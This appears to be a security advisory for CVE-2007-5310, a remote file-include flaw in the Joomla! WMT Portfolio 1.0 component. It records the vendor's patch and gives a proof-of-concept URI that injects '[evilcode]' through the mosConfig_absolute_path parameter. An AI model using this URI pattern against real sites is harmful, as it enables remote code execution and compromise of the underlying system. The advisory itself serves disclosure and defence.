Webmaster-Tips.net Joomla! WMT Portfolio Remote File Include Vulnerability

Bugtraq ID:	25959
Class:	Input Validation Error
CVE:	CVE-2007-5310
Remote:	Yes
Local:	No
Published:	Oct 08 2007 12:00AM
Updated:	May 07 2015 05:35PM
Credit:	NoGe is credited with the discovery of this vulnerability.
Vulnerable:	webmaster-tips.net com_wmtportfolio 1.0
Not Vulnerable:

Webmaster-Tips.net Joomla! WMT Portfolio Remote File Include Vulnerability

Webmaster-Tips.net Joomla! WMT Portfolio is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Webmaster-Tips.net Joomla! WMT Portfolio Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/path/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=[evilcode]

Webmaster-Tips.net Joomla! WMT Portfolio Remote File Include Vulnerability

Solution:
The vendor released a patch to address this issue. Please see the references for more information.

Webmaster-Tips.net Joomla! WMT Portfolio Remote File Include Vulnerability

References:

• Webmaster-Tips.net Joomla! WMT Portfolio Remote File Include Vulnerability (webmaster-tip.net)
  
• WMT Portfolio Homepage (Webmaster-Tips.net)